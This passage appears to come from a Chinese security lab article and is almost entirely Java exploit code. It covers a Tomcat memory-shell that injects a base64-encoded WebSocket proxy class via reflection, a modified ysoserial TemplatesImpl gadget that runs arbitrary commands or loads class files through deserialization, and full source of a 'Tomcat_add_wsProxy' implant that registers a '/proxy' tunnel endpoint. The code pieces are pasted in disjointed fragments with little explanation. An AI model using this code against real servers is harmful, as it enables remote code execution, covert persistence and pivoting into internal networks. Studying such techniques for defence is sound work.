Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
byte [] b = null;
try {
if (servletContext.getAttribute(path) == null){
Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
b = new BASE64Decoder().decodeBuffer("yv66vgAAADQBBwoAPQCRCQA3AJIHAJMKAAMAkQkANwCUBwCVCgAGAJEJADcAlgkANwCXCgA7AJgKADsAmQoAOQCaCgA7AJsKAAMAnAoAAwCdCgA7AJ4JADcAnwsAoAChCwCgAKILAKMApAkANwClCgA3AKYHAKcJADcAqAoANwCpAwAAw1AKADsAqgoAHwCrCwCgAKwKAAYArQcArgoAHwCvCwCwALEKADsAsgcAswoAOwC0CgAjALUIALYKACMAtwgAuAoAHwC5CgA5ALoHALsKACsAvAoAHwC9BQAAAAAAAAAKCQC+AL8LALAAwAgAwQsAowDCCgAGAMMIAMQLAKAAxQcAxgoANwDHBwDICgA3AMkHAMoKADcAywcAzAcAzQcAzwEAAWkBAAFKAQAHc2Vzc2lvbgEAGUxqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjsBAAZjbGllbnQBAC1MamF2YS9uaW8vY2hhbm5lbHMvQXN5bmNocm9ub3VzU29ja2V0Q2hhbm5lbDsBAAdjaGFubmVsAQAGYnVmZmVyAQAVTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEYmFvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAANtYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJU2lnbmF0dXJlAQBUTGphdmEvdXRpbC9IYXNoTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOz47AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MUHJveHlFbmRwb2ludDsBAAljb21wbGV0ZWQBACUoTGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50OylWAQADYXJyAQACW0IBAAFiAQABcQEABnJlc3VsdAEAE0xqYXZhL2xhbmcvSW50ZWdlcjsBAAphdHRhY2htZW50AQANU3RhY2tNYXBUYWJsZQcAWQcAygcApwEABmZhaWxlZAEAJyhMamF2YS9sYW5nL1Rocm93YWJsZTtMUHJveHlFbmRwb2ludDspVgEAA2V4YwEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEACW9uTWVzc2FnZQEAGChMamF2YS9uaW8vQnl0ZUJ1ZmZlcjspVgEACmJ5dGVCdWZmZXIBAA5yZWFkRnJvbVNlcnZlcgEASShMamF2YXgvd2Vic29ja2V0L1Nlc3Npb247TGphdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWw7KVYBAAdwcm9jZXNzAQAxKExqYXZhL25pby9CeXRlQnVmZmVyO0xqYXZheC93ZWJzb2NrZXQvU2Vzc2lvbjspVgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAZ2YWx1ZXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAVhcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlhZGRyYXJyYXkBAAJwbwEAAUkBAAtob3N0QWRkcmVzcwEAHExqYXZhL25ldC9JbmV0U29ja2V0QWRkcmVzczsBAAZmdXR1cmUBAB1MamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlOwEAAXoBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAvTGphdmEvdXRpbC9jb25jdXJyZW50L0Z1dHVyZTxMamF2YS9sYW5nL1ZvaWQ7PjsHAMYHANAHALMHAHMHAK4HALsHANEBAAZvbk9wZW4BADwoTGphdmF4L3dlYnNvY2tldC9TZXNzaW9uO0xqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnRDb25maWc7KVYBAAZjb25maWcBACBMamF2YXgvd2Vic29ja2V0L0VuZHBvaW50Q29uZmlnOwEAKihMamF2YS9sYW5nL1Rocm93YWJsZTtMamF2YS9sYW5nL09iamVjdDspVgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABVdob2xlAQAMSW5uZXJDbGFzc2VzAQCgTGphdmF4L3dlYnNvY2tldC9FbmRwb2ludDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI8TGphdmEvbGFuZy9JbnRlZ2VyO0xQcm94eUVuZHBvaW50Oz47TGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZTxMamF2YS9uaW8vQnl0ZUJ1ZmZlcjs+OwEAClNvdXJjZUZpbGUBABJQcm94eUVuZHBvaW50LmphdmEMAE8AUAwAQABBAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAEkASgEAEWphdmEvdXRpbC9IYXNoTWFwDABLAEwMAEcASAwA0gDTDADUANUMANYA1wwA2ADZDADaANsMANwA3QwA3gDfDABGAEMHANAMAOAA1QwA4QDjBwDlDADmAGgMAEQARQwAagBrAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAQgBDDABsAG0MAOcA6AwA6QDqDADrAOwMANgA7QEAK2phdmEvbmlvL2NoYW5uZWxzL0FzeW5jaHJvbm91c1NvY2tldENoYW5uZWwMANoA7gcA0QwA2ADvDADwANMBABBqYXZhL2xhbmcvU3RyaW5nDAByAN0MAE8A8QEAASAMAPIA8wEAAToMAPQA9QwA9gD3AQAaamF2YS9uZXQvSW5ldFNvY2tldEFkZHJlc3MMAE8A+AwA+QD6BwD7DAD8AP0MANgA/gEAJEhUVFAvMS4xIDUwMyBTZXJ2aWNlIFVuYXZhaWxhYmxlDQoNCgwA/wEADAEBAQIBACdIVFRQLzEuMSAyMDAgQ29ubmVjdGlvbiBFc3RhYmxpc2hlZA0KDQoMAQMBBAEADVByb3h5RW5kcG9pbnQMAGMAZAEAEWphdmEvbGFuZy9JbnRlZ2VyDABWAFcBABNqYXZhL25pby9CeXRlQnVmZmVyDABnAGgBABhqYXZheC93ZWJzb2NrZXQvRW5kcG9pbnQBACNqYXZhL25pby9jaGFubmVscy9Db21wbGV0aW9uSGFuZGxlcgcBBQEAJGphdmF4L3dlYnNvY2tldC9NZXNzYWdlSGFuZGxlciRXaG9sZQEAF2phdmF4L3dlYnNvY2tldC9TZXNzaW9uAQAbamF2YS91dGlsL2NvbmN1cnJlbnQvRnV0dXJlAQAFY2xlYXIBABMoKUxqYXZhL25pby9CdWZmZXI7AQAMaGFzUmVtYWluaW5nAQADKClaAQAIaW50VmFsdWUBAAMoKUkBAANnZXQBABsoW0JJSSlMamF2YS9uaW8vQnl0ZUJ1ZmZlcjsBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBAAR3cmFwAQAZKFtCKUxqYXZhL25pby9CeXRlQnVmZmVyOwEABmlzT3BlbgEADmdldEJhc2ljUmVtb3RlAQAFQmFzaWMBACgoKUxqYXZheC93ZWJzb2NrZXQvUmVtb3RlRW5kcG9pbnQkQmFzaWM7BwEGAQAkamF2YXgvd2Vic29ja2V0L1JlbW90ZUVuZHBvaW50JEJhc2ljAQAKc2VuZEJpbmFyeQEACGFsbG9jYXRlAQAYKEkpTGphdmEvbmlvL0J5dGVCdWZmZXI7AQAEcmVhZAEATyhMamF2YS9uaW8vQnl0ZUJ1ZmZlcjtMamF2YS9sYW5nL09iamVjdDtMamF2YS9uaW8vY2hhbm5lbHMvQ29tcGxldGlvbkhhbmRsZXI7KVYBAAVnZXRJZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBADQoTGphdmEvbmlvL0J5dGVCdWZmZXI7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAUKClMamF2YS9sYW5nL09iamVjdDsBAARmbGlwAQAFKFtCKVYBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABG9wZW4BAC8oKUxqYXZhL25pby9jaGFubmVscy9Bc3luY2hyb25vdXNTb2NrZXRDaGFubmVsOwEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEAB2Nvbm5lY3QBADcoTGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KUxqYXZhL3V0aWwvY29uY3VycmVudC9GdXR1cmU7AQAdamF2YS91dGlsL2NvbmN1cnJlbnQvVGltZVVuaXQBAAdTRUNPTkRTAQAfTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OwEANChKTGphdmEvdXRpbC9jb25jdXJyZW50L1RpbWVVbml0OylMamF2YS9sYW5nL09iamVjdDsBAAhzZW5kVGV4dAEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtM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");
m.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(Thread.currentThread().getContextClassLoader().loadClass("ProxyEndpoint"), path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(path,path);
}
} catch (Exception e){
}
步骤2 反序列化codefile不继承AbstractTranslet
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private transient Map<String, Class<?>> _auxClasses = null;
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
private int _transletIndex = -1;
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
_transletIndex = gf.get("_transletIndex", -1);
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
else if(command.startsWith("classfile:")){
String path = command.split(":")[1];
FileInputStream in =new FileInputStream(new File(path));
classBytes=new byte[in.available()];
in.read(classBytes);
in.close();
System.out.println(command);
System.err.println("Java File Mode:"+ Arrays.toString(classBytes));
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("open -a calculator.app");
}
}
import javax.servlet.ServletContext;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.CompletionHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
public class Tomcat_add_wsProxy extends Endpoint implements CompletionHandler<Integer, Tomcat_add_wsProxy>, MessageHandler.Whole<ByteBuffer>{
long i =0;
Session session;
public AsynchronousSocketChannel client;
public Session channel;
ByteBuffer buffer;
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HashMap<String, AsynchronousSocketChannel> map = new HashMap<String,AsynchronousSocketChannel>();
static HashSet<Object> h;
static ServletContext s;
private static boolean i(Object obj) {
if (obj != null && !h.contains(obj)) {
h.add(obj);
return false;
} else {
return true;
}
}
private void p(Object o, int depth) throws DeploymentException, DeploymentException {
if (depth <= 52 && s == null) {
if (!i(o)) {
if (s == null && ServletContext.class.isAssignableFrom(o.getClass())) {
s = (ServletContext)o;
String path = "/proxy";
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(this.getClass(), path).build();
ServerContainer container = (ServerContainer)s.getAttribute(ServerContainer.class.getName());
if (s.getAttribute(path) == null) {
container.addEndpoint(configEndpoint);
s.setAttribute(path, path);
}
}
this.F(o, depth + 1);
}
}
}
private void F(Object start, int depth) {
Class n = start.getClass();
do {
Field[] var4 = n.getDeclaredFields();
int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) {
Field declaredField = var4[var6];
declaredField.setAccessible(true);
Object o = null;
try {
o = declaredField.get(start);
if (!o.getClass().isArray()) {
this.p(o, depth);
} else {
Object[] var9 = (Object[])((Object[])o);
int var10 = var9.length;
for(int var11 = 0; var11 < var10; ++var11) {
Object q = var9[var11];
this.p(q, depth);
}
}
} catch (Exception var13) {
}
}
} while((n = n.getSuperclass()) != null);
}
public Tomcat_add_wsProxy() {
h = new HashSet();
this.F(Thread.currentThread(), 0);
}
@Override
public void completed(Integer result, Tomcat_add_wsProxy attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}
@Override
public void failed(Throwable exc, Tomcat_add_wsProxy attachment) {
}
@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}
void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);
this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}
(边界无限[email protected]烛龙实验室供稿)